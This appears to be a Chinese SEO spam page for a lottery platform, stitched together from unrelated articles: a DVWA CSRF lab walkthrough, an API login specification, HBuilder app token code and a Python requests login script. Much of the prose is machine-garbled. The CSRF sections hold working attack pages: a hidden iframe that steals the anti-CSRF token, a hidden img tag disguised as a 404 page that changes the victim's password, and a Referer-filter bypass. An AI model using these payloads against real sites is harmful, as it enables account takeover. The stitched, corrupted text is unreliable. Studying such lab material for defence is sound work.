全球彩票平台_全球彩票注册平台|官网下载地址

热门关键词: 全球彩票平台,全球彩票注册平台,全球彩官网下载地址

【全球彩票注册平台】如何使用Python的Requests包实

密码的变通方法

2.1.询问分类

  • 用途
    询问CMS上的归类音信。
    请求

    parent 上级分类编号。假若忽视,会回来超级分类列表。
    假诺要查询一级分类,请去掉parent参数。

  • 响应

{
    "code": 0,
    "data": {
        "count": 2,
        "items": [
            {
                "id": 1,
                "name": "公共栏目",
                "comment": "",
                "upper_catalog_id": 0
            },
            {
                "id": 2,
                "name": "私有栏目",
                "comment": "",
                "upper_catalog_id": 0
            }
        ]
    }
}

id 编号
name 名称
comment 备注
"upper_catalog_id 上级分类编号, 0 表示如今分类是拔尖分类。

漏洞使用

要绕过High等第的反CS奥迪TTSF机制,关键是要拿走token,要使用受害人的cookie去修改密码的页面得到主要的token。

试着去协会多少个抨击页面,将其放置在攻击者的服务器,引诱受害人访谈,进而达成CSPAJEROF攻击,上面是代码。

<script type="text/javascript">    function attack()  {   document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;  document.getElementById("transfer").submit();   }</script> <iframe src="http://192.168.153.130/dvwa/vulnerabilities/csrf" id="hack" border="0" style="display:none;"></iframe> <body onload="attack()">  <form method="GET" id="transfer" action="http://192.168.153.130/dvwa/vulnerabilities/csrf">   <input type="hidden" name="password_new" value="password">    <input type="hidden" name="password_conf" value="password">   <input type="hidden" name="user_token" value="">  <input type="hidden" name="Change" value="Change">   </form></body>

攻击思路是当受害人点击步入这几个页面,脚本会通过三个看不见框架偷偷访谈修正密码的页面,获取页面中的token,并向服务器发送改密必要,以完结CS科雷傲F攻击。

可是理想与现实的出入是壮士的,这里牵扯到了跨域问题,而今日的浏览器是不允许跨域伏乞的。这里大约解释下跨域,大家的框架iframe访谈之处是http://192.168.153.130/dvwa/vulnerabilities/csrf,坐落于服务器192.168.153.130上,而小编辈的大张征讨页面坐落于骇客服务器10.4.253.2上,两个的域名分裂,域名B下的具备页面都不容许主动获取域名A下的页面内容,除非域名A下的页面主动发送音信给域名B的页面,所以大家的攻击脚本是不或然取到改密分界面中的user_token。

出于跨域是不可能落到实处的,所以大家要将攻击代码注入到目的服务器192.168.153.130中,才有望形成攻击。上面选取High级其余XSS漏洞扶助获取Anti-CSENVISIONF token(因为那边的XSS注入有长度限定,不能注入完整的攻击脚本,所以只收获Anti-CSRF token卡塔 尔(阿拉伯语:قطر‎。

全球彩票注册平台 1

1.png

那边的Name存在XSS漏洞,于是抓包,改参数,成功弹出token

全球彩票注册平台 2

1.png

流入代码如下

全球彩票注册平台 3

1.png

UserInfo.token = function(){
    if(arguments.length == 0){
        return plus.storage.getItem(‘token’);
    }
    if(arguments[0] === ”){
        plus.storage.removeItem(‘token’);
        return;
    }
    plus.storage.setItem(‘token’, arguments[0]);
};
如此当顾客运维应用程式或利用了亟需登入能力采纳的效适时,就足以运用UserInfo.has_login()来判断是不是早就报到,假使已报到,则应用UserInfo.token()来取得到token数据,作为参数调用远程的后端接口。

全球彩票注册平台 4

image

1.1.用途

向集成客商端提供查询数据和登陆服务。
只要财富必要授权技巧查看和使用,请首先阅读“5.登入验证”小节。

漏洞使用

1、构造链接

A) 最根基的:

http://192.168.153.130/dvwa/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#

当被害者点击了这一个链接,他的密码就能够被改成password(这种攻击显得有些愚笨,链接一眼就能够看出来是改密码的,並且受害者点了链接之后见到这么些页面就能够清楚本人的密码被窜改了卡塔尔国

全球彩票注册平台 5

1.png

亟待小心的是,CS索罗德F最关键的是运用被害者的cookie向服务器发送杜撰诉求,所以只要被害者以前用Chrome浏览器登陆的这些类别,而用搜狗浏览器点击那么些链接,攻击是不会接触的,因为搜狗浏览器并无法使用Chrome浏览器的cookie,所以会活动跳转到登入分界面。

全球彩票注册平台 6

1.png

有人会说,这么些链接也太鲜明了呢,不会有人点的,对的,所以的确攻击场景下,大家供给对链接做一些拍卖。

B) 我们能够接收短链接来掩瞒URL(点击短链接,会活动跳转到真实网站卡塔 尔(英语:State of Qatar):

如http://dwz.cn/****

全球彩票注册平台 7

1.png

因为本地搭的碰到,服务器域名是ip所以不能够转移对应的短链接= =,实际攻击场景下生龙活虎旦指标服务器的域名不是ip,是能够更动对应短链接的。

全球彩票注册平台 8

1.png

急需提示的是,固然采纳了短链接隐瞒url,但受害人最后还是会看见密码改良成功的页面,所以这种攻击方法也并不得力。

C) 布局攻击页面

切实攻击场景下,这种措施必要事情发生前在公互连网传多个攻击页面,诱骗被害人去做客,真正能够在受害人不知情的场馆下完结CS奥迪Q5F攻击。这里为了便利演示(才不是自家租不起服务器= =卡塔 尔(阿拉伯语:قطر‎,就在地方写三个test.html,下面是现实性代码。

<img src="http://192.168.153.130/dvwa/vulnerabilities/csrf/?password_new=hack&password_conf=hack&Change=Change#" border="0" style="display:none;"/><h1>404<h1><h2>file not found.<h2>

当受害人访谈test.html时,会误以为是温馨点击的是二个失效的url,但其实已经遭到了CS汉兰达F攻击,密码已经被涂改为了hack。

全球彩票注册平台 9

1.png

登入时伸手一回token,之后用token调用接口

代码看起来好像一贯不什么问题。但是实践的时候出错了。核算了弹指间,错误的来头是,csrf验证失败!

image

1.概述

Medium

劳务器端核心代码

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Checks to see where the request came from
    if( eregi( $_SERVER[ 'SERVER_NAME' ], $_SERVER[ 'HTTP_REFERER' ] ) ) {
        // Get input
        $pass_new  = $_GET[ 'password_new' ];
        $pass_conf = $_GET[ 'password_conf' ];

        // Do the passwords match?
        if( $pass_new == $pass_conf ) {
            // They do!
            $pass_new = mysql_real_escape_string( $pass_new );
            $pass_new = md5( $pass_new );

            // Update the database
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
            $result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );

            // Feedback for the user
            echo "<pre>Password Changed.</pre>";
        }
        else {
            // Issue with passwords matching
            echo "<pre>Passwords did not match.</pre>";
        }
    }
    else {
        // Didn't come from a trusted source
        echo "<pre>That request didn't look correct.</pre>";
    }

    mysql_close();
}

?> 

连锁函数表达

int eregi(string pattern, string string)

检查string中是否带有pattern(不区分抑扬顿挫写卡塔 尔(英语:State of Qatar),假如有再次来到True,反之False。

能够看看,Medium级其他代码检查了保留变量 HTTP_REFERE巴博斯 CL级(http邢台的Referer参数的值,表示来源地址卡塔 尔(阿拉伯语:قطر‎中是或不是包括SEXC60VEEscort_NAME(http鞍山的Host参数,及要访问的主机名,这里是192.168.153.130卡塔 尔(英语:State of Qatar),希望由此这种机制抵御CS凯雷德F攻击。

全球彩票注册平台 10

1.png

 

由代码能够清楚,requests.Session()运维会话对象后,第三回呼吁会自行把上一回的sessionID一同传过去。

全球彩票注册平台 11

5.4.logout

  • 用途
    分离登陆,退出应用前请尽恐怕调用该接口。
    请求
    =abcdefg
    token 登陆接口中拿走的token

  • 响应

{
    "code": 0,
}

Impossible

劳务器端核心代码

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $pass_curr = $_GET[ 'password_current' ];
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Sanitise current password input
    $pass_curr = stripslashes( $pass_curr );
    $pass_curr = mysql_real_escape_string( $pass_curr );
    $pass_curr = md5( $pass_curr );

    // Check that the current password is correct
    $data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
    $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
    $data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
    $data->execute();

    // Do both new passwords match and does the current password match the user?
    if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {
        // It does!
        $pass_new = stripslashes( $pass_new );
        $pass_new = mysql_real_escape_string( $pass_new );
        $pass_new = md5( $pass_new );

        // Update database with new password
        $data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
        $data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
        $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
        $data->execute();

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match or current password incorrect.</pre>";
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

可以看看,Impossible等级的代码应用PDO才干防守SQL注入,至于防护CS本田CR-VF,则供给客商输入原始密码(简单严酷卡塔 尔(阿拉伯语:قطر‎,攻击者在不掌握原本密码的意况下,无论怎么样都力不能及开展CSEscortF攻击。
原帖地址:http://www.freebuf.com/articles/web/118352.html

UserInfo.username = function(){
    if(arguments.length == 0){
        return plus.storage.getItem(‘username’);
    }
    if(arguments[0] === ”){
        plus.storage.removeItem(‘username’);
        return;
    }
    plus.storage.setItem(‘username’, arguments[0]);
};

上边部分为央求头,上边部分为倡议是传的参数。由图片可以见到,页面通过表单提交了八个参数。分别为_csrf,usermane,password。

全球彩票注册平台 12

2.询问分类

Low

劳务器端宗旨代码

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = mysql_real_escape_string( $pass_new );
        $pass_new = md5( $pass_new );

        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }

    mysql_close();
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

可以看来,服务器收到校正密码的伸手后,会检讨参数password_new与password_conf是不是肖似,如果相像,就能够改正密码,并不曾此外的防CS本田CR-VF机制(当然服务器对要求的发送者是做了身份验证的,是反省的cookie,只是这里的代码未有展示= =卡塔尔国。

再插点代码,基于plus.storage的顾客消息类,注意:供给在plusReady之后再接收。

近期中意用python去抓一些页面玩,但都差不离都是用get哀告一些页面,再通过正则去过滤。

image

5.1.决断是还是不是必需登陆

  • 用途
    【全球彩票注册平台】如何使用Python的Requests包实现模拟登陆,设计基于HTML5的APP登录功能及安全调用接口的方式。看清是不是必要必得登入。
    借使需求必需登入,则须求首先登场入,否者查询数据的接口会再次来到未有权力的大谬不然。

请求

  • 响应
{
    "code": 0,
    "err_desc": "no"
}

err_desc 属性描述了对登入的需要。no 表示不强制供给, yes 代表一定必要登入。

High

劳动器端大旨代码

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = mysql_real_escape_string( $pass_new );
        $pass_new = md5( $pass_new );

        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }

    mysql_close();
}

// Generate Anti-CSRF token
generateSessionToken();

?>

能够看来,High等级的代码参预了Anti-CSRF token机制,客户每一遍访谈改密页面时,服务器会回来多个随意的token,向服务器发起呼吁时,供给付出token参数,而服务器在选拔央浼时,会预先检查token,唯有token精确,才会管理客户端的央求。

function get_pwd_hash(pwd){
    var salt = ‘hbuilder’;  //此处的salt是为了幸免骇客撞库,而在md5以前对初藳做断定的变形,能够设为自个儿中意的,只要和服务器验证时的salt生龙活虎致就可以。
    return md5(salt pwd); //此处假如你早就援引了md5相关的库,比如github上的JavaScript-MD5
}

其次份代码

全球彩票注册平台 13

5.3.login2

  • 用途
    使用login1再次来到的chcode总计出叁个hash值,提交给本接口申请到贰个token。该token值用于别的接口的验证。
    请求

    id login1接口回来的id值,原样带入。
    hash 依据预定总括出的hash值。算法:
    hash=md5(md5(password) chcode)
    陈诉:首先总结出密码的hash值,然后在调换的密码hash值尾巴部分拼接上挑战字符串产生新的字符串,最终总括这一个新字符串的hash值。
    hash算法选取md5算法,生成的摘要接纳16进制编码,编码生成的字符采纳小写字母。
    例如,字符串111111的hash值是 96e79218965eb72c92a549dd5a330112

  • 响应

{
    "code": 0,
    "data": {
        "count": 6,
        "items": [{
            "id": 2,
            "name": "王工",
            "sex": 1,
            "logo": null,
            "token": "c9xpghlmgxn58kdq",
            "group_id": 1
        }]
    }
}

name 用户名
sex 性别,1男 0女
logo 顾客头像,null也许头像url
token 认证令牌,在不可能保全session的场馆下,在伸手其余接口中应有将token参数带入
group_id 客户所属的客户组

漏洞使用

过滤法则是http泰州的Referer参数的值中必需带有主机名(这里是192.168.153.130卡塔 尔(阿拉伯语:قطر‎

咱俩能够将攻击页面命名字为192.168.153.130.html(页面被停放在攻击者的服务器里,这里是10.4.253.2卡塔 尔(阿拉伯语:قطر‎就足以绕过了

全球彩票注册平台 14

1.png

下面是Burpsuite的截图

全球彩票注册平台 15

1.png

Referer参数完美绕过过滤法则

全球彩票注册平台 16

1.png

密码改正成功

全球彩票注册平台 17

1.png

var onSuccess = function(data){
    UserInfo.username(username);
    UserInfo.password(pwd_hash);
    UserInfo.token(data.token); //把获取到的token保存到storage中
    var wc = plus.webview.currentWebview();
    wc.hide(‘slide-out-bottom’);    //此处要是是隐敝登入页回到在此之前的页面,实际你也能够干点儿别的
}

你或者感兴趣的小说:

  • python模拟博客园新浪登入功能(搜狐博客园爬虫)
  • python使用paramiko模块完成ssh远程登入上传文件并进行
  • Python爬虫利用cookie达成模拟登入实例详明
  • python3.3课程之模拟百度登入代码分享
  • python完结带验证码网址的电动登入实今世码
  • python完成十六线程暴力破解登入路由器效能代码分享
  • Python达成SSH远程登入,并推行命令的不二法门(分享)
  • python达成的登录Discuz!论坛通用代码分享
  • python模拟登录Ali老妈生成商品推广链接
  • python达成登录和讯拿到个人收藏并保存为word文件

全球彩票注册平台 18

概述

  • 1卡塔尔登入的渴求和含义
    客商端应当首荐推断服务器是不是供给必得登陆。如果供给,则应率先调用登陆接口登入,然后再须要其余接口。
    是还是不是须要强制登入,跟运行须要有关,网址运转者能够因此关押平台安装那么些选项。
    若无强制必要,顾客端能够登陆,也能够不登录。
    客户不利登陆后,会拿走四个token值,在后续的接口中,应当将该token值带入。比如:

  • 2卡塔 尔(阿拉伯语:قطر‎登入的流程
    服务器和客商端通过“挑衅->应答”形式(challenge-response卡塔 尔(英语:State of Qatar)实行身份验证交互作用,在此个进程中,顾客端必要调用两遍接口向服务器注脚身份。认证进程中无需传递密码,密码用于签字验证。
    身价验证的过如下:
    1)客商端应用“客商名”作为参数调用“login1”接口,向服务器发出身份认证央求
    1.1)服务器确认顾客是或不是是有效的客商:
    1.2)若不是,则不做进一层管理,重返错误新闻
    1.3)要是,服务器发生叁个“随机数(挑战字符串卡塔尔”发送给客商端
    2)客商端接受“客户密码”和“随机数(挑衅字符串卡塔 尔(阿拉伯语:قطر‎”作为输入,按预定的算法生成四个hash值,用该hash值作为 调用“login2”接口的参数,央求login2接口。
    2.1)服务器用收到的hash值与温馨的乘除结果相比,若两个类似,则通过认证;不然,认证战败
    2.2)若评释通过,服务器再次来到“token”给顾客端,否者重返错误音讯。

CSRF(Cross-site request forgery)

CS昂科拉F,全称Cross-site request forgery,翻译过来便是跨站央求伪造,是指利用被害人还未有失效的地方验证消息(cookie、会话等卡塔 尔(英语:State of Qatar),诱骗其点击恶意链接只怕访问富含攻击代码的页面,在被害人不知情的状态下以被害者的地位向(身份验证消息所对应的卡塔尔国服务器发送供给,进而产生违规操作(如转账、改密等卡塔 尔(英语:State of Qatar)。CS福特ExplorerF与XSS最大的界别就在于,CSRF并不曾偷取cookie而是直接行使。在二零一二年发布的新版OWASP Top 第10中学,CS凯雷德F排名第8。

全球彩票注册平台 19

1.png

下直面三种等第的代码进行深入分析。

;function UserInfo(){
};

爬虫的不可缺少第一步,分析目标网址。这里运用谷歌(Google卡塔尔国浏览器的开拓者者工具深入分析。

全球彩票注册平台 20

1.4.回去音讯构造

重返的json音信数据构造拥有从严的风姿洒脱致性,客户端能够动用相像的抽取和分析方法管理回来音讯。
简言之音讯
简易的回来新闻富含对诉求的处理结果,构造如下:

{
    "code":0,
    "err_desc":""
}

其中:
code 为0意味管理成功,其余值表示管理退步。
err_desc是对错误的描述,在code为0时err_desc会被总结。
破例境况,在客户认证的login1和login2接口中,err_desc具备特殊用处用法,具体参见接口描述。除这多个接口之外,err_desc都代表错误描述。
带业务数据的音讯
某些重临消息除了富含管理结果音讯,还含有业务数据记录集,布局如下:

 {
        "code":0,
        "data":{
            "count":1,
            "items":[...]
        }
    }

其中:
data 业务数据的根节点:
count 业务数据的条数,或然的值为0 ~ n
items 业务数据,是一个数组,数据条数由count属性定义。当count为0时,items属性可能为null大概不设有。
本文书档案后续章节中,在描述items成分的属性时,会轻便一些性情的汇报,即事实上调用接口重回的质量在本文书档案中可能会并未有描述,这种景色下请直接忽视被忽视描述的属性值。本文书档案中描述的天性是实际上重返内容的三个子集,未有描述到的内容对集开销系统绝非影响。
带分页数据的音信
要是回到数据超级多,服务器会对回到的数据举办分页,顾客端能够根据页码伏乞钦定范围的数目。带分页信息的归来数据结构如下:

    {
    "code":0,
    "data":{
        "page":1,
        "page_size":"20",
        "pages":"1",
        "total":"2",
        "count":2,
        "items":[...]
                }
}

分页数据消息在data成分下,意义如下:
page 当前页码
page_size 每页数据记录条数
pages 总共的页数
total 总量据条数
count 当前回去页的数目条数
比方回去的数额带有分页新闻,则足以在调用接口时选拔page参数来号令钦赐页码的数量。

var onError = function(errcode){
    switch(errcode){
    case ‘INCORRECT_PASSWORD’:
        mui.toast(‘密码不得法’);
        break;
    case ‘USER_NOT_EXISTS’:
        mui.toast(‘客商并未有注册’);
        break;
    }
}

透过登入抓取,看见如此多个诉求。

image

3.查询媒体财富

报到和挂号要丰硕轻易
那是十分小手提式有线电话机端,用再好的输入法,打字也是不方便人民群众的,所以别把登陆页设计得需求填比超级多东西。倘使有望的话,只填手提式有线电话机号,让顾客收到短信验证码就完了注册是独步一时不过的了。想获取越来越多音信?用脑筋想大公司的APP是如何是好的,他们会报告客商,现在的个人资料完善程度是四分一,若是想获得越多积分,你必要填完。
tips:若是您想昭示在Appstore况兼同一时候满含注册效率,那么注册页面必需做多个顾客许可公约的链接,不然有异常的大希望通但是检查核对。

如上正是本文的全体内容,希望对大家的读书抱有利于,也希望大家多多照料脚本之家。

image

1.3.接口伏乞

接口地址是二个HTTP公约的url地址,具体魄式是:

ip替换成实际服务器的ip或域名,假如端口不是私下认可端口,要求把端口加上。
token是注脚字符串,在登入接口中拿走,若无登陆则省略。
别的剧情参见接口的概念。
当U奥迪Q7L央求参数值中包涵U科雷傲L地址保留字符时,应对参数值进行U奥迪Q7L编码。
实际参见“智跑FC2396: Uniform Resource Identifiers (U福特ExplorerI): Generic Syntax”。
当倡议参数包蕴普通话字符时,应对中文字符选取UTF-8编码。

那是相比安全的法子,顾客在登陆时,应用软件调用获取token的接口(比如卡塔 尔(英语:State of Qatar),用post将客商名和密码的摘要传递给服务器,然后服务器比对数据库中的顾客新闻,相配则赶回绑定该客户的token(那貌似翻译为令牌,很直观的名字,意气风发看就知晓是有了那玩意,就能对你放行卡塔 尔(英语:State of Qatar),而数据库中,在客商的token表中也还要插入了这一个token相关的数额:这几个token归于什么人?那个token的保藏期是多长期?那几个token当前登入的ip地址是?那些token对应的deviceid是?……
这么就算token被细心截获,也不会促成太大的张家界危机。因为未有客户名和密码,然后假设黑客通过那一个token杜撰顾客央求,我们在劳务器端接口被调用时就可以对发起呼吁的ip地址、user-agent之类的音信作比对,以堤防杜撰。再然后,如果token的保藏期设得小,过会儿它就超时了,除非黑客能够穿梭截获你的token,不然她只好干瞪眼。(插一句题外话:看见此间,是还是不是明亮为何不推荐在外侧随意接入来历远远不足明了的wifi销路好了?卡塔 尔(英语:State of Qatar)
tips:token怎么着调换? 能够依据顾客的音讯及部分即兴新闻(比方时间戳卡塔尔再通过hash编码(比方md5、sha1等卡塔尔生成唯黄金年代的编码。
tips:token的安全等第,决定于你的实在需要,所以借使不是关系财产安全的园地,并不建议太严峻(比方顾客走着走着,3G换了个基站,闪断了须臾间IP地址变了,尼玛token过期了,那就归于为了不供给的安全丢了客商体验,当然如若转换的IP地址跨省的话依然应当辨证一下的,想一想QQ不时候会让填验证码就领会了卡塔 尔(阿拉伯语:قطر‎。
tips:接口在重返新闻时,能够包涵此番伏乞的情事,举个例子成功调用,那么result[‘status’]或是正是’success’,而反之则是’error’,而只若是’error’,则result[‘errcode’]中就可以富含错误的原原本本的经过,例如errcode中是’invalid_token’就足以告诉应用软件这几个token过期或无效,当时应用程式应弹出登入框或然用本地存款和储蓄的客商名或密码再一次恳请token(客商筛选“记住密码”,就应该在本地保存顾客名和密码的摘要,方法见plus.storage的文书档案卡塔尔。

注明:因为模仿登录的是本身的私家网址,所以以下代码对个体网址和账号密码做了拍卖。

全球彩票注册平台 21

1.2.通讯商业事务

顾客端和服务器通过HTTP公约通讯,客商端应用HTTP Get向服务器发送必要,服务器再次回到json格式的工作数据或操作结果给客商端。

程序员总能给自身找到偷懒的办法,有的程序为了省事,会在顾客登陆后,直接把顾客名和密码保存在地点,然后每一次调用后端接口时作为参数字传送递。真省事儿啊!可这种措施简便就好像拿着豆蔻年华袋子钱在途中边走边喊“快来抢作者哟!快来抢作者哟!”,三个非常的小的嗅探器就会把顾客的密码获得手,假设客户习于旧贯在有着地点用三个密码,那么你闯大祸了,黑客通过撞库的方法能把顾客的兼具音讯黄金时代锅端。

之所以,大家的代码逻辑就有了。首先央浼叁次登入页面。然后解析页面,获得csrf字符串。最终把那几个字符串和账号密码一齐传给服务器用来报到。

image

2.2.询问分类树

  • 用途
    询问全体分类及其下属分类。
    请求

  • 响应

{
    "code": 0,
    "data": {
        "count": 2,
        "items": [
            {
                "id": 1,
                "name": "公共栏目",
                "comment": "",
                "upper_catalog_id": 0,
                "sub_items": [
                                {
                                    "id": 5,
                                    "name": "二级分类1",
                                    "comment": "",
                                    "upper_catalog_id": 1
                                },
                                ...
                    ]
            },
            ...
        ]
    }
}

id 编号
name 名称
comment 备注
"upper_catalog_id 上级分类编号, 0 表示近来比物连类是一级分类。
sub_items 下级分类数组,包涵 0 或三个下级分类。

UserInfo.password = function(){
    if(arguments.length == 0){
        return plus.storage.getItem(‘password’);
    }
    if(arguments[0] === ”){
        plus.storage.removeItem(‘password’);
        return;
    }
    plus.storage.setItem(‘password’, arguments[0]);
};

打响收获登入后的页面

image

4.1.询问播放地址

  • 用途
    询问有个别媒体资源的播放地址。
    请求

    media_id 财富编号。
    protocol 播出公约,点播财富得以是hls,http-flv或http-DVD;直播能源能够是 rtmp或hls。假如简单,重临全体公约的地址。
    客商端请依据终端种类选择合适的放映公约:
    android、ios或此外帮忙H5的浏览器,能够采取:hls, http-mp5公约
    PC选用http-flv或rtmp协议

  • 响应

{
    "code": 0,
    "data": {
        "count": 1,
        "items": [
            {
                "id": 104,
                "resource_id": 39,
                "web_url": "/mp4/vod/yellowstone/yellowstone.mp4",
                "web_io_protocol": "http-mp4",
                "add_time": "2017-08-25 16:35:16"
            }
        ]
    }
}

重临0个或四个广播地址,七个能源也会有四个分化协商的广播地址。
resource_id 财富编号
web_url 播出地址
"web_io_protocol 播出公约

//检查是或不是含有自动登陆的音信
UserInfo.auto_login = function(){
    var username = UserInfo.username();
    var pwd = UserInfo.password();
    if(!username || !pwd){
        return false;
    }
    return true;
}

里头csrf是为了堤防跨域脚本假造。原理非常的粗略,正是每三遍呼吁,服务器生成少年老成串加密字符串。放在掩瞒的input表单中。再一次呼吁的时候,把那个字符串一齐传过去,为了求证是还是不是为同二个顾客的央求。

从地点抓包的结果来看,Password字段是因此加密的,所以借使我们要Python暴力破解,供给把那个password的退换算法找寻来。

5.登陆验证

还记得刚才APP向服务器央求token时,能够投入的客商新闻吗?比方顾客的设施deviceid。
假定我们在调用接口时,还附带二个当下时光戳参数timestamp,同期,用deviceid和这几个时刻戳再生成一个参数sign,举例md5(deviceid timestamp token)那样的样式。而服务端首先验证一下参数中的时间戳与近日服务器时间是或不是相符(误差保持在客观节制内就可以,比方5分钟卡塔 尔(阿拉伯语:قطر‎,然后依照顾客保存在服务器中的deviceid来对参数中的时间戳实行同样的变形,验证是还是不是相称,那便自然“更更安全”了。
tips:即便对总体调用央浼中的参数进行排序,再以deviceid和timestamp加上排序后的参数来对任何调用生成1个sign,黑客正是截获sign,分歧的时间点、参数诉求所接收的sign也是不相同的,难以假造,自然会更安全。当然,写起来也更麻烦。
tips:明白了规律,整个验证进程是能够根据本人的须要退换的。

因此大家的代码,必要在第贰遍呼吁的时候得到那些sessionID。第叁次倡议的时候把那几个sessionID一齐传过去。而requests厉害之处就是,一句轻巧requests.Session(),就会运用那一个会话对象。

image

4.查询播放地址

//这里借让你早就由此DOM操作获取到了客商名和密码,分别保存在username和password变量中。
var username = xxx;
var password = xxx;
var pwd_hash = get_pwd_hash(password);

网址解析

全球彩票注册平台 22

1.5.参考

[1] RFC 2616, Hypertext Transfer Protocol -- HTTP/1.1[S].
[2] RFC 3986, Uniform Resource Identifier (URI): Generic Syntax[S].
[3] Introducing JSON

登陆 保存密码 安全 加密
近年来发觉群内大伙对用Hbuilder做的应用程式咋做登入功用以至维护登入情状特别纳闷,而自个儿前后生可畏段时间无独有偶稍稍切磋了生龙活虎晃,所以把自个儿通晓的告知大家,节约大家找找资料的小运。

#!/usr/bin/env python2.7
# -*- coding: utf-8 -*-

import requests
import re

# 头部信息
headers = {
 'Host':"localhost",
 'Accept-Language':"zh-CN,zh;q=0.8",
 'Accept-Encoding':"gzip, deflate",
 'Content-Type':"application/x-www-form-urlencoded",
 'Connection':"keep-alive",
 'Referer':"http://localhost/login",
 'User-Agent':"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.86 Safari/537.36"
}

# 登陆方法
def login(url,csrf,r_session):
 data = {
 "_csrf" : csrf,
 "username": "xiedj",
 "password": "***"
 }

 response = r_session.post(url, data=data, headers=headers)
 return response.content


# 第一次访问获取csrf值
def get_login_web(url):
 r_session = requests.Session()
 page = r_session.get('http://localhost/login')
 reg = r'<meta name="csrf-token" content="(. )">'
 csrf = re.findall(reg,page.content)[0]


 login_page = login(url,csrf,r_session)
 print login_page


if __name__ == "__main__":
 url = "http://localhost/login/checklogin"
 get_login_web(url)

在庭院里面见到了壹个没人用的路由器(ws860s卡塔 尔(阿拉伯语:قطر‎,看起来像个黑科学和技术的玩意儿,就想着进去看看,到底有何样有趣的。见到前边的价签上有web分界面的地点,然后登入进去看看,发掘成密码,然后自身想,路由器的密码应该都以足以reset的,然后俺就用笔戳那一个reset键,神跡未有产生,原本那一个reset键坏了。

5.2.login1

  • 用途
    交付认证申请,接口再次来到挑衅字符串。
    请求

    username 登陆客商名。

  • 响应

{
    "code": 0,
    "data": {
        "count": 1,
        "items": [
            {
                "id": 37,
                "chcode": "9luqgrnj5vvszmjw"
            }
        ]
    }
}

id session识别号,用于login2接口,原样传递给login2就可以。
chcode 挑战字符串,顾客端按预订准绳使用该字符串生成叁个hash值,然后调用login2接口。

mui.web_query = function(func_url, params, onSuccess, onError, retry){
    var onSuccess = arguments[2]?arguments[2]:function(){};
    var onError = arguments[3]?arguments[3]:function(){};
    var retry = arguments[4]?arguments[4]:3;
    func_url = ‘’ func_url;
    mui.ajax(func_url, {
        data:params,
        dataType:’json’,
        type:’post’,
        timeout:3000,
        success:function(data){
            if(data.err === ‘ok’){
                onSuccess(data);
            }
            else{
                onError(data.code);
            }
        },
        error:function(xhr,type,errorThrown){
            retry–;
            if(retry > 0) return mui.web_query(func_url, params, onSuccess, onError, retry);
            onError(‘FAILED_NETWORK’);
        }
    })
};
var onError = function(errcode){
    switch(errcode){
    case ‘FAILED_NETWORK’:
        mui.toast(‘互连网不好’);
        break;
    case ‘INVALID_TOKEN’:
        wv_login.show();
        break;
    default:
        console.log(errcode);
    }
};
var params = {per:10, pageno:coms_current_pageno};
mui.web_query(‘get_com_list’, params, onSuccess, onError, 3);
调用后端接口怎么着才安全?
在应用程式中保存登陆数据,每一次调用接口时传输

http公约是贰个种无状态的说道。为了使这种无状态变得有状态,由此引入了对话。由此可以预知,通过session去记录这几个情形。当三个客商率先次呼吁web服务的时候,服务器会变卦三个session,用于保存那个客户的音信。同有时候,在回来给客户端时,把那么些sessionID保存在cookies里。当客商再贰遍倡议的时候,浏览器会把这些cookies带上。因而在劳动器端就能够驾驭多次诉求是或不是为同一个客商。

本文由全球彩票平台发布于全球彩票注册平台编程,转载请注明出处:【全球彩票注册平台】如何使用Python的Requests包实

TAG标签: 全球彩票平台
Ctrl+D 将本页面保存为书签,全面了解最新资讯,方便快捷。